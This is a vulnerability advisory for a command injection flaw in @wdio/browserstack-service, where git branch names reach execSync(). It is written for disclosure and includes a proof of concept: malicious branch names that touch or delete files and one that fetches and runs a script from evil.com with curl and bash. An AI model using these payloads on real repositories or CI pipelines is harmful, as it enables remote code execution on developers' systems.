A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204
User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.
Git allows to create these branches.
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.getGitMetadataForAISelection() executes, it extracts the malicious branch namegit checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
// wdio.conf.js
export const config = {
services: [
['browserstack', {
user: process.env.BROWSERSTACK_USERNAME,
key: process.env.BROWSERSTACK_ACCESS_KEY,
testOrchestrationOptions: {
runSmartSelection: {
enabled: true,
source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
}
}
}]
],
// ... rest of config
}
npm run wdio
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T17:53:46Z",
"cwe_ids": [
"CWE-78"
],
"severity": "CRITICAL",
"nvd_published_at": null
}